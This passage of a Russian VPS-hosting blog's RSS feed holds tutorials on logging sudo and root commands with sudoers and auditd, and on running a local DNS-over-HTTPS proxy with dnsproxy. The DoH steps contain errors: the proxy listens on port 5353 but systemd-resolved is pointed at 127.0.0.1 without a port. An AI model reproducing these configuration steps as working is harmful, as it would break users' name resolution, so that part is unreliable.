<p class="wp-block-paragraph">Теперь можно использовать готовые <strong>Netdata dashboards</strong> или собрать свой. Очень удобно, особенно если у тебя несколько VPS и хочется следить за ними централизованно.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Бонус: автозапуск и мониторинг с systemd</h2>



<p class="wp-block-paragraph">Для Webmin и Cockpit systemd уже настроен. Но для Netdata иногда полезно прописать свои параметры. Например, автоперезапуск при сбое:</p>



<pre class="wp-block-code"><code>&#91;Service]
Restart=always
RestartSec=5
</code></pre>



<p class="wp-block-paragraph">Это можно добавить в <code>/etc/systemd/system/netdata.service.d/override.conf</code> с помощью:</p>



<pre class="wp-block-code"><code>sudo systemctl edit netdata
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p class="wp-block-paragraph"></p>
<p>Источник: <a href="<a rel="nofollow" href="https://cloudvps.by/community">Community</a>">%BLOGTITLE%</a>. Все права защищены.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://cloudvps.by/community/sravnenie-web-ui-dlya-vps-cockpit-webmin-i-netdata/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Как вести журналы sudo и root-команд на VPS: от простого к надёжному</title>
		<link>https://cloudvps.by/community/kak-vesti-zhurnaly-sudo-i-root-komand-na-vps/</link>
					<comments>https://cloudvps.by/community/kak-vesti-zhurnaly-sudo-i-root-komand-na-vps/#respond</comments>
		
		<dc:creator><![CDATA[Марина Кольцова]]></dc:creator>
		<pubDate>Tue, 19 Aug 2025 12:47:29 +0000</pubDate>
				<category><![CDATA[Безопасность]]></category>
		<guid isPermaLink="false">https://cloudvps.by/community/?p=4290</guid>

					<description><![CDATA[<p>Читайте эту новость на нашем сайте: <a href="<a rel="nofollow" href="https://cloudvps.by/community/kak-vesti-zhurnaly-sudo-i-root-komand-na-vps/">Как вести журналы sudo и root-команд на VPS: от простого к надёжному</a>">%POSTTITLE%</a></p>
<p>Когда я только начинала работать с VPS, было какое-то благоговение перед sudo. Я знала, что если что-то сломается — виновата буду я. Потому что root-доступ — это как штурвал самолёта: может привести к цели, а может и в стену. Но только со временем я поняла, как важно вести логи всех sudo и root-команд, особенно если [&#8230;]</p>
<p>Источник: <a href="<a rel="nofollow" href="https://cloudvps.by/community">Community</a>">%BLOGTITLE%</a>. Все права защищены.</p>
]]></description>
										<content:encoded><![CDATA[<p>Читайте эту новость на нашем сайте: <a href="<a rel="nofollow" href="https://cloudvps.by/community/kak-vesti-zhurnaly-sudo-i-root-komand-na-vps/">Как вести журналы sudo и root-команд на VPS: от простого к надёжному</a>">%POSTTITLE%</a></p>

<p class="wp-block-paragraph">Когда я только начинала работать с <a href="https://cloudvps.by/servers/vps/vps_server.php" data-internallinksmanager029f6b8e52c="4" title="VPS хостинг">VPS</a>, было какое-то благоговение перед <code>sudo</code>. Я знала, что если что-то сломается — виновата буду я. Потому что <a href="https://cloudvps.by/community/docs/glossarij/terminy/root-dostup/" data-internallinksmanager029f6b8e52c="234" title="Root-доступ">root-доступ</a> — это как штурвал самолёта: может привести к цели, а может и в стену.</p>



<p class="wp-block-paragraph">Но только со временем я поняла, как важно <strong>вести логи всех sudo и root-команд</strong>, особенно если вы не единственная, кто работает с сервером. Или если вы — сами себе DevOps, и хотите спать спокойно, зная, что можно отследить, кто и когда что выполнял.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Зачем логировать sudo и команды от root?</h2>



<p class="wp-block-paragraph">Ответ <a href="https://cloudvps.by/community/docs/glossarij/terminy/downtime/" data-internallinksmanager029f6b8e52c="233" title="Downtime (Время простоя)">простой</a>: <strong>безопасность и аудит</strong>.<br>Если кто-то выполняет команды с <code>sudo</code> или заходит под <code>root</code>, вы должны иметь возможность увидеть:</p>



<ul class="wp-block-list">
<li>когда это произошло,</li>



<li>что именно запускалось,</li>



<li>из-под какого пользователя,</li>



<li>с какого <a href="https://cloudvps.by/community/docs/glossarij/terminy/ip-adres/" data-internallinksmanager029f6b8e52c="204" title="IP-адрес (Internet Protocol)">IP</a>-адреса (если удалённый доступ).</li>
</ul>



<p class="wp-block-paragraph">Это особенно важно для:</p>



<ul class="wp-block-list">
<li>команд с <code>sudo</code> правами;</li>



<li>автоматических скриптов, которые работают от имени <code>root</code>;</li>



<li>разборов «что пошло не так» после сбоя.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Где и как уже логируются команды sudo?</h2>



<p class="wp-block-paragraph">По умолчанию команды <code>sudo</code> логируются в <code>/var/log/auth.log</code> (на Ubuntu и Debian), либо в <code>/var/log/secure</code> (на CentOS/AlmaLinux/RHEL).</p>



<p class="wp-block-paragraph">Попробуйте:</p>



<pre class="wp-block-code"><code>sudo cat /var/log/auth.log | grep sudo
</code></pre>



<p class="wp-block-paragraph">Пример вывода:</p>



<pre class="wp-block-code"><code>Aug 14 15:03:22 vps sudo:   adminuser : TTY=pts/0 ; PWD=/home/adminuser ; USER=root ; COMMAND=/usr/bin/apt update
</code></pre>



<p class="wp-block-paragraph">Но это лишь часть. Если вы хотите вести <strong>отдельный журнал</strong> или добавить <strong>детализацию</strong>, придётся настроить чуть глубже.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Настройка sudoers для ведения логов</h2>



<p class="wp-block-paragraph">Откройте конфигурационный файл sudo:</p>



<pre class="wp-block-code"><code>sudo visudo
</code></pre>



<p class="wp-block-paragraph">Это безопасный способ редактировать <code>/etc/sudoers</code>, который проверяет синтаксис перед сохранением.</p>



<p class="wp-block-paragraph">Добавьте в конец:</p>



<pre class="wp-block-code"><code>Defaults logfile="/var/log/sudo.log"
</code></pre>



<p class="wp-block-paragraph">Теперь всё, что будет запускаться с <code>sudo</code>, будет сохраняться в отдельный файл <code>/var/log/sudo.log</code>.</p>



<p class="wp-block-paragraph"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4cc.png" alt="📌" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <strong>Важно</strong>: убедитесь, что <code>logfile</code> не дублирует системные логи, иначе у вас будут конфликты с rsyslog/journald.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Как логировать <em>все</em> команды root-пользователя</h2>



<p class="wp-block-paragraph"><code>sudo</code> — это полдела. Но если кто-то вошёл как <code>root</code> (через <code>su -</code> или напрямую по ключу/паролю), sudo уже не спасёт. Тут помогает <code>auditd</code>.</p>



<p class="wp-block-paragraph">Установка:</p>



<pre class="wp-block-code"><code>sudo apt install auditd -y
</code></pre>



<p class="wp-block-paragraph">Пример правила, логирующего запуск любых команд от root:</p>



<pre class="wp-block-code"><code>sudo auditctl -a always,exit -F arch=b64 -F uid=0 -S execve -k root_cmds
</code></pre>



<p class="wp-block-paragraph">Проверка логов:</p>



<pre class="wp-block-code"><code>sudo ausearch -k root_cmds
</code></pre>



<p class="wp-block-paragraph">Всё будет сохранено в <code>/var/log/audit/audit.log</code>.</p>



<p class="wp-block-paragraph"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4a1.png" alt="💡" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Советы:</p>



<ul class="wp-block-list">
<li>добавьте правило в <code>/etc/audit/rules.d/</code>, чтобы оно сохранялось после перезагрузки;</li>



<li>убедитесь, что хватает места на диске под такие логи.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Как обезопасить sudoers файл от ошибок</h2>



<p class="wp-block-paragraph">Ошибки в <code>/etc/sudoers</code> могут полностью заблокировать возможность использовать <code>sudo</code>. Я однажды случайно поставила пробел не туда — и пришлось восстанавливать сервер через консоль провайдера.</p>



<p class="wp-block-paragraph"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f510.png" alt="🔐" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <strong>Правило №1</strong>: редактируйте только через <code>visudo</code>.<br><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f510.png" alt="🔐" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <strong>Правило №2</strong>: не давайте <code>NOPASSWD</code> доступ без необходимости.</p>



<p class="wp-block-paragraph">Вот пример строки, которую я добавляю:</p>



<pre class="wp-block-code"><code>adminuser ALL=(ALL) NOPASSWD: /usr/bin/systemctl restart nginx
</code></pre>



<p class="wp-block-paragraph">То есть пользователь <code>adminuser</code> может перезапускать <code>nginx</code> без пароля — и только его.</p>



<p class="wp-block-paragraph">Также можно создать отдельный файл:</p>



<pre class="wp-block-code"><code>sudo nano /etc/sudoers.d/adminuser
</code></pre>



<p class="wp-block-paragraph">И прописать туда доступ. Так безопаснее, чем лезть в основной <code>/etc/sudoers</code>.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Примеры из жизни</h2>



<p class="wp-block-paragraph">Была у меня ситуация: на одном из серверов начались сбои в <code>nginx</code>. Я полезла в <code>/var/log/auth.log</code>, увидела, что <code>sudo</code> запускался 3 раза подряд другим пользователем, явно не по инструкции. Благодаря логам я выяснила, что он случайно запустил <code>nginx -s stop</code>, вместо <code>reload</code>.</p>



<p class="wp-block-paragraph">С тех пор я:</p>



<ul class="wp-block-list">
<li>включаю отдельный лог-файл через <code>sudoers</code>;</li>



<li>логирую <code>root</code>-команды через <code>auditd</code>;</li>



<li>и стараюсь описывать в <code>sudoers.d</code> точные команды, а не «всё подряд».</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Проверка и анализ sudo-логов</h2>



<p class="wp-block-paragraph">Для удобства рекомендую использовать такие команды:</p>



<pre class="wp-block-code"><code>sudo grep "COMMAND=" /var/log/auth.log
</code></pre>



<p class="wp-block-paragraph">Или если у вас включён отдельный файл:</p>



<pre class="wp-block-code"><code>tail -f /var/log/sudo.log
</code></pre>



<p class="wp-block-paragraph">Можно даже настроить отправку алертов в Telegram, если кто-то запускает нестандартные команды — но это тема для отдельной статьи.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">Итого</h3>



<p class="wp-block-paragraph">Если у вас VPS — вы за него отвечаете. И чем раньше вы начнёте <strong>вести учёт команд</strong>, тем спокойнее будете спать. У меня это стало стандартной практикой на каждом новом сервере: настройка <code>sudoers</code>, <code>auditd</code>, отдельные права и резервная копия sudo-файлов.</p>



<p class="wp-block-paragraph">Пусть <code>root</code> больше не будет тенью, скрывающей ошибки, а станет прозрачным и контролируемым инструментом. Потому что логирование — это не только про контроль, но и про доверие к себе и своей инфраструктуре.</p>



<p class="wp-block-paragraph"></p>
<p>Источник: <a href="<a rel="nofollow" href="https://cloudvps.by/community">Community</a>">%BLOGTITLE%</a>. Все права защищены.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://cloudvps.by/community/kak-vesti-zhurnaly-sudo-i-root-komand-na-vps/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Настройка DNS over HTTPS на VPS: делаем свои запросы безопасными</title>
		<link>https://cloudvps.by/community/nastrojka-dns-over-https-na-vps/</link>
					<comments>https://cloudvps.by/community/nastrojka-dns-over-https-na-vps/#respond</comments>
		
		<dc:creator><![CDATA[Марина Кольцова]]></dc:creator>
		<pubDate>Thu, 17 Jul 2025 01:06:23 +0000</pubDate>
				<category><![CDATA[Безопасность]]></category>
		<guid isPermaLink="false">https://cloudvps.by/community/?p=4195</guid>

					<description><![CDATA[<p>Читайте эту новость на нашем сайте: <a href="<a rel="nofollow" href="https://cloudvps.by/community/nastrojka-dns-over-https-na-vps/">Настройка DNS over HTTPS на VPS: делаем свои запросы безопасными</a>">%POSTTITLE%</a></p>
<p>Когда я только начала копаться в настройках DNS, казалось, что это какая-то закулисная магия. Просто прописываешь IP-шники — и всё работает. Но как только я углубилась, оказалось, что DNS — это чуть ли не первое, что можно перехватить и подменить. А если на сервере крутится что-то важное (а у нас же всегда крутится), то безопасность [&#8230;]</p>
<p>Источник: <a href="<a rel="nofollow" href="https://cloudvps.by/community">Community</a>">%BLOGTITLE%</a>. Все права защищены.</p>
]]></description>
										<content:encoded><![CDATA[<p>Читайте эту новость на нашем сайте: <a href="<a rel="nofollow" href="https://cloudvps.by/community/nastrojka-dns-over-https-na-vps/">Настройка DNS over HTTPS на VPS: делаем свои запросы безопасными</a>">%POSTTITLE%</a></p>

<p class="wp-block-paragraph">Когда я только начала копаться в настройках <a href="https://cloudvps.by/community/docs/glossarij/terminy/dns/" data-internallinksmanager029f6b8e52c="199" title="DNS (Domain Name System)">DNS</a>, казалось, что это какая-то закулисная магия. Просто прописываешь <a href="https://cloudvps.by/community/docs/glossarij/terminy/ip-adres/" data-internallinksmanager029f6b8e52c="204" title="IP-адрес (Internet Protocol)">IP</a>-шники — и всё работает. Но как только я углубилась, оказалось, что DNS — это чуть ли не первое, что можно перехватить и подменить. А если на сервере крутится что-то важное (а у нас же всегда крутится), то безопасность должна начинаться именно с него. Так что сегодня — про то, <strong>как настроить DNS over <a href="https://cloudvps.by/community/docs/glossarij/terminy/https/" data-internallinksmanager029f6b8e52c="221" title="HTTPS (Hyper Text Transfer Protocol Secure)">HTTPS</a> (DoH)</strong> на <a href="https://cloudvps.by/servers/vps/vps_server.php" data-internallinksmanager029f6b8e52c="4" title="VPS хостинг">VPS</a> и перестать зависеть от публичных DNS с сомнительной прозрачностью.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Что такое DNS over HTTPS простыми словами?</h2>



<p class="wp-block-paragraph"><strong>DNS over HTTPS (DoH)</strong> — это технология, которая шифрует DNS-запросы и отправляет их по HTTPS. Обычно, когда вы вводите сайт (допустим, <code>example.com</code>), ваш компьютер делает запрос к DNS-серверу, чтобы узнать IP-адрес сайта. Проблема в том, что <strong>обычные DNS-запросы не шифруются</strong>, и любой, кто сидит между вами и интернетом, может их подслушивать или даже подменить.</p>



<p class="wp-block-paragraph">С DoH — всё иначе. DNS-запросы идут по тому же безопасному каналу, что и HTTPS, и даже провайдеру сложно понять, какие домены вы запрашиваете. А это уже уровень безопасности, достойный и для личных проектов, и для клиентов.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Зачем поднимать свой DoH-прокси?</h2>



<p class="wp-block-paragraph">Многие просто прописывают <code>1.1.1.1</code> (<a href="https://cloudvps.by/community/docs/glossarij/terminy/cloudflare/" data-internallinksmanager029f6b8e52c="320" title="Cloudflare">Cloudflare</a>), <code>9.9.9.9</code> (Quad9) или <code>94.140.14.14</code> (AdGuard DNS), и всё. Но если вы:</p>



<ul class="wp-block-list">
<li>используете VPS как <strong><a href="https://cloudvps.by/community/docs/glossarij/terminy/proxy-server/" data-internallinksmanager029f6b8e52c="210" title="Proxy Server (Прокси-сервер)">прокси</a> или туннель</strong>;</li>



<li><strong>парсите сайты</strong>, и важно, чтобы DNS-запросы тоже шли шифрованными;</li>



<li>или просто не хотите, чтобы даже DNS-шлюз знал, что вы делаете, —</li>
</ul>



<p class="wp-block-paragraph">то лучше всего поднять <strong>свой DNS-прокси через DoH</strong>. Именно так я и сделала. У меня на VPS теперь крутится <code>dnsproxy</code>, а вся телеметрия завязана на <code>AdGuard</code>, <code>Cloudflare</code> и резервный <code>Quad9</code>.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Что потребуется</h2>



<ul class="wp-block-list">
<li>VPS с Ubuntu 22.04 (или другой Linux — команда подстроится);</li>



<li><a href="https://cloudvps.by/community/docs/glossarij/terminy/root-dostup/" data-internallinksmanager029f6b8e52c="234" title="Root-доступ">root-доступ</a>;</li>



<li>установленный <code>dnsproxy</code> или <code>dnscrypt-proxy</code>;</li>



<li>желательно — <code>systemd</code> для автозапуска сервиса.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Установка dnsproxy на VPS (Ubuntu)</h2>



<p class="wp-block-paragraph">Я выбрала <code>dnsproxy</code> от AdGuard — он лёгкий, понятный и поддерживает как <strong>DNS over HTTPS</strong>, так и <strong>DNS over <a href="https://cloudvps.by/community/docs/glossarij/terminy/tls/" data-internallinksmanager029f6b8e52c="220" title="TLS (Transport Layer Security)">TLS</a></strong>, если вдруг вы захотите переключиться.</p>



<ol class="wp-block-list">
<li>Скачиваем последнюю версию:</li>
</ol>



<pre class="wp-block-code"><code>wget https://github.com/AdguardTeam/dnsproxy/releases/latest/download/dnsproxy-linux-amd64 -O dnsproxy
chmod +x dnsproxy
sudo mv dnsproxy /usr/local/bin/
</code></pre>



<ol start="2" class="wp-block-list">
<li>Создаём конфиг-файл:</li>
</ol>



<pre class="wp-block-code"><code>sudo nano /etc/dnsproxy.conf
</code></pre>



<p class="wp-block-paragraph">Пример содержимого:</p>



<pre class="wp-block-code"><code>listen=127.0.0.1:5353
upstream=https://dns.adguard.com/dns-query
upstream=https://1.1.1.1/dns-query
fallback=https://9.9.9.9/dns-query
timeout=10s
</code></pre>



<ol start="3" class="wp-block-list">
<li>Сервис для systemd:</li>
</ol>



<pre class="wp-block-code"><code>sudo nano /etc/systemd/system/dnsproxy.service
</code></pre>



<p class="wp-block-paragraph">Содержимое:</p>



<pre class="wp-block-code"><code>&#91;Unit]
Description=DNSProxy
After=network.target

&#91;Service]
ExecStart=/usr/local/bin/dnsproxy --config-path /etc/dnsproxy.conf
Restart=on-failure

&#91;Install]
WantedBy=multi-user.target
</code></pre>



<ol start="4" class="wp-block-list">
<li>Активируем:</li>
</ol>



<pre class="wp-block-code"><code>sudo systemctl daemon-reexec
sudo systemctl enable --now dnsproxy
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Проверка работы</h2>



<p class="wp-block-paragraph">Теперь у вас запущен локальный DoH-прокси. Чтобы направить на него запросы:</p>



<pre class="wp-block-code"><code>sudo nano /etc/systemd/resolved.conf
</code></pre>



<p class="wp-block-paragraph">Добавьте или измените строку:</p>



<pre class="wp-block-code"><code>DNS=127.0.0.1
</code></pre>



<p class="wp-block-paragraph">Перезапустите:</p>



<pre class="wp-block-code"><code>sudo systemctl restart systemd-resolved
</code></pre>



<p class="wp-block-paragraph">Проверяем:</p>



<pre class="wp-block-code"><code>dig google.com @127.0.0.1 -p 5353
</code></pre>



<p class="wp-block-paragraph">Если всё работает — поздравляю, вы только что настроили DNS over HTTPS-сервер на своём VPS.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Таблица сравнения популярных DNS-серверов для DoH</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>DNS-провайдер</th><th>IP-адрес</th><th>Поддержка DoH</th><th>Приватность</th><th>Замедления</th></tr></thead><tbody><tr><td><strong>Cloudflare</strong></td><td><code>1.1.1.1</code></td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td><td>Отличная</td><td>Низкие</td></tr><tr><td><strong>AdGuard</strong></td><td><code>94.140.14.14</code></td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td><td>Высокая (фильтрация)</td><td>Средние</td></tr><tr><td><strong>Quad9</strong></td><td><code>9.9.9.9</code></td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td><td>Отличная, без логов</td><td>Средние</td></tr><tr><td><strong>Google</strong></td><td><code>8.8.8.8</code></td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td><td>Сомнительная</td><td>Низкие</td></tr></tbody></table></figure>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Почему не стоит доверять публичным DNS вслепую</h2>



<p class="wp-block-paragraph">Я не параноик, но видела, как <strong>Cloudflare временно откатывал изменения</strong>, а <strong>Google DNS может подменить ответы</strong> в некоторых юрисдикциях. С <code>AdGuard</code> — фильтрация работает отлично, но не все запросы проходят (особенно по <a href="https://cloudvps.by/community/docs/glossarij/terminy/api/" data-internallinksmanager029f6b8e52c="226" title="API (Application Programming Interface)">API</a>). Поэтому:</p>



<ul class="wp-block-list">
<li>для <strong>личного использования</strong> — AdGuard или Quad9;</li>



<li>для <strong>парсинга</strong> — свой VPS с dnsproxy;</li>



<li>для <strong>высокой скорости</strong> — Cloudflare.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Дополнительные советы</h2>



<ul class="wp-block-list">
<li>Используйте <code>tcpdump</code> или <code>dig</code> для диагностики.</li>



<li>Rclone можно настроить с <code>--dns</code> опцией, чтобы использовать конкретный DoH-прокси.</li>



<li>Если ваш роутер поддерживает <strong>dns-over-https</strong>, можно перенаправить весь трафик с домашней сети через ваш VPS.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">Итого&#8230;</h3>



<p class="wp-block-paragraph">Да, это не настройка «в один клик», но если вы хотя бы раз сталкивались с подменой DNS или у вас случались проблемы при деплое, то вы знаете, насколько важно, чтобы <strong>запрос <code>dns.adguard.com</code> не шёл открытым текстом</strong>. VPS легко справляется с этой задачей. А вместе с <code>dnsproxy</code> и парой минут настроек — у вас появляется персональный DoH-сервер, которому вы можете доверять.</p>



<p class="wp-block-paragraph"></p>
<p>Источник: <a href="<a rel="nofollow" href="https://cloudvps.by/community">Community</a>">%BLOGTITLE%</a>. Все права защищены.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://cloudvps.by/community/nastrojka-dns-over-https-na-vps/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
